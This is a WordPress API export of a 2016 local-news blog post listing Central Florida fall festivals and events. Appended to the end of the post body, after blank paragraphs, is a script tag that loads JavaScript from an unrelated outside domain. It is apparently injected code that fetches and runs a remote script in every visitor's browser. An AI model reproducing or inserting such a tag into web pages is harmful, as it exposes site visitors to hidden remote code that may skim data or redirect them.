{"id":209143,"date":"2016-10-02T12:14:41","date_gmt":"2016-10-02T16:14:41","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=209143"},"modified":"2018-09-07T13:20:58","modified_gmt":"2018-09-07T17:20:58","slug":"fall-festival-time-central-florida","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/fall-festival-time-central-florida\/","title":{"rendered":"Its Fall Festival Time in Central Florida"},"content":{"rendered":"<p>We may not have the colorful leaves and chilly nights that Northerners are so fond of, but Fall in <a class=\"zem_slink\" title=\"Central Florida\" href=\"http:\/\/maps.google.com\/maps?ll=28.9269444444,-81.7213888889&amp;spn=0.01,0.01&amp;q=28.9269444444,-81.7213888889 (Central%20Florida)&amp;t=h\" rel=\"geolocation\">Central Florida<\/a> means there are dozens of festivals and activities to choose from.\u00a0These are just a few of the most popular!<\/p>\n<p>From October 3rd through December 19th you&#8217;ll want to be sure to stop at Long and Scott&#8217;s Famous Corn Maze. Open\u00a0Saturdays and Sundays from \u00a010am &#8211; 5pm. Get there before 3pm though as that&#8217;s the last admission sold. \u00a0 Activities include a \u00a06 acre Corn Maze, 1 acre Mini Corn Maze, 3 acre Tree Maze, 60 ft. Super Slide, Jumping Pillow , <a class=\"zem_slink\" title=\"Zip-line\" href=\"http:\/\/en.wikipedia.org\/wiki\/Zip-line\" rel=\"wikipedia\">Zip Line<\/a> for Kids, Rock Maze, Mist Maze, Rope Maze, Playground, covered picnic areas and access to Food Vendors. Hay rides and kids&#8217; fishing are available at an extra cost. Details at\u00a0<a href=\"http:\/\/www.longandscottfarms.com\">http:\/\/www.longandscottfarms.com<\/a><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-209903 alignleft\" src=\"https:\/\/wordpress-1.tempurl.host\/wp-content\/uploads\/sites\/6\/2016\/08\/3274735261_c7d2103b6e-300x225.jpg\" alt=\"3274735261_c7d2103b6e\" width=\"300\" height=\"225\" srcset=\"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2016\/08\/3274735261_c7d2103b6e-300x225.jpg 300w, https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2016\/08\/3274735261_c7d2103b6e-80x60.jpg 80w, https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2016\/08\/3274735261_c7d2103b6e-265x198.jpg 265w, https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2016\/08\/3274735261_c7d2103b6e.jpg 500w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>The 42nd Annual \u00a0<a class=\"zem_slink\" title=\"Mount Dora, Florida\" href=\"http:\/\/maps.google.com\/maps?ll=28.806519,-81.642996&amp;spn=0.1,0.1&amp;q=28.806519,-81.642996 (Mount%20Dora%2C%20Florida)&amp;t=h\" rel=\"geolocation\">Mount Dora<\/a> Bicycle Festival \u00a0rolls into town Oct 7-9, with fourteen routes to choose from, guest speakers and 1500 spots for riders to join in the fun and competition. For details visit<a href=\"http:\/\/mountdorabicyclefestival.com\"> http:\/\/mountdorabicyclefestival.com<\/a><\/p>\n<p>On October 8th Tavares will be rockin&#8217; as &#8220;<a class=\"zem_slink\" title=\"Rocktoberfest\" href=\"http:\/\/en.wikipedia.org\/wiki\/Rocktoberfest\" rel=\"wikipedia\">Rocktoberfest<\/a>&#8221; takes over Wooten Park from 5pm to Midnight. \u00a0The event features a \u00a0Street Party, live music from \u00a0Blue Stone Circle and Hypersona, \u00a0lots of <a class=\"zem_slink\" title=\"German cuisine\" href=\"http:\/\/en.wikipedia.org\/wiki\/German_cuisine\" rel=\"wikipedia\">German food<\/a>, \u00a0and \u00a0a Jeep show. Admission is free and sponsor proceeds benefit the <a class=\"zem_slink\" title=\"Tavares High School\" href=\"http:\/\/maps.google.com\/maps?ll=28.807,-81.729&amp;spn=0.01,0.01&amp;q=28.807,-81.729 (Tavares%20High%20School)&amp;t=h\" rel=\"geolocation\">Tavares High School<\/a> band programs for 2016.<\/p>\n<p>Oct 14th-16th it is the 5th Annual Wings and Wildflowers Festival in Leesburg, where you&#8217;ll find\u00a0more than 100 activities and programs over \u00a0three days and feature more than 25 birding, wildflower and nature experts.\u00a0the festival is designed to bring awareness and appreciation of <a class=\"zem_slink\" title=\"Lake County, Florida\" href=\"http:\/\/maps.google.com\/maps?ll=28.77,-81.72&amp;spn=1.0,1.0&amp;q=28.77,-81.72 (Lake%20County%2C%20Florida)&amp;t=h\" rel=\"geolocation\">Lake County<\/a>\u2019s quality of life and support environmental initiatives for all lake County residents. You&#8217;ll find details at\u00a0https:\/\/www.wingsandwildflowers.com\/<\/p>\n<p>If you are looking for a little more nostalgic time-traveling fun, also on October 15-16, it&#8217;s the 5th Annual Steampunk Industrial Show at Renninger&#8217;s Antique and <a class=\"zem_slink\" title=\"Flea market\" href=\"http:\/\/en.wikipedia.org\/wiki\/Flea_market\" rel=\"wikipedia\">Flea Market<\/a>. \u00a0Come join the Victorian-Style Industrial \u00a0Festival with Steampunk artists, vendors, costumers, and live music, and be sure to stay around all evening for their latest addition- the Steampunk Ball! For details visit renningers.net<\/p>\n<p>October 22nd and 23rd Its the Mount Dora Craft Fair. With more than 400 crafters and vendors and over 100,000 people expected, you&#8217;ll find an eclectic mix of \u00a0arts, crafts, music, entertainment food, and fun, at one of Central Florida&#8217;s favorite festivals! \u00a0 For details go to <a href=\"https:\/\/mountdoracraftfair.com\/\">https:\/\/mountdoracraftfair.com\/<\/a><\/p>\n<p>November features include :<\/p>\n<ul>\n<li><a class=\"zem_slink\" title=\"Renaissance fair\" href=\"http:\/\/en.wikipedia.org\/wiki\/Renaissance_fair\" rel=\"wikipedia\">Renaissance Festival<\/a>, (1st Weekend, Tavares)<\/li>\n<li>Mount Dora Plant &amp; Garden Fair, (1st weekend)<\/li>\n<li><a class=\"zem_slink\" title=\"Scottish Highlands\" href=\"http:\/\/maps.google.com\/maps?ll=57.12,-4.71&amp;spn=3.0,3.0&amp;q=57.12,-4.71 (Scottish%20Highlands)&amp;t=h\" rel=\"geolocation\">Scottish Highland<\/a> Festival, November 19th<\/li>\n<li>Renningers Antique Extravaganza, (3rd weekend)<\/li>\n<li>Light-up Mount Dora, (Saturday after Thanksgiving)<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>You won&#8217;t have to look far to find great events for the whole family every weekend from now until Christmas here in Central Florida.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>We may not have the colorful leaves and chilly nights that Northerners are so fond of, but Fall in Central Florida means there are dozens&#8230;<\/p>\n","protected":false},"author":26805,"featured_media":209902,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[325,6,1,11],"tags":[1688,1695,1697,1691,1176,57,1694,1690,80,93,1692,1689,1693,1696],"class_list":["post-209143","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-florida-news","category-lake-county","category-local","category-sumter-county","tag-acoustic-guitar","tag-arts-and-crafts","tag-birds","tag-corn-maze","tag-festival","tag-florida","tag-halloween","tag-hayride","tag-lake-county","tag-mount-dora","tag-renaissance-fair","tag-rock-and-roll","tag-steampunk","tag-wildflowers","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2016\/08\/pumpkin-993289_960_720.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/209143","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/26805"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=209143"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/209143\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/209902"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=209143"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=209143"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=209143"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}